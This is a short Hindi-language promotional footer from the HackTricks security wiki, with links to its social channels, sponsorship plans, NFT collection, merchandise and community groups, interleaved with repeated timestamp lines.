<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की अनुमति** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** का** अनुसरण करें।**
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
2022-04-28 16:01:33 +00:00
</details>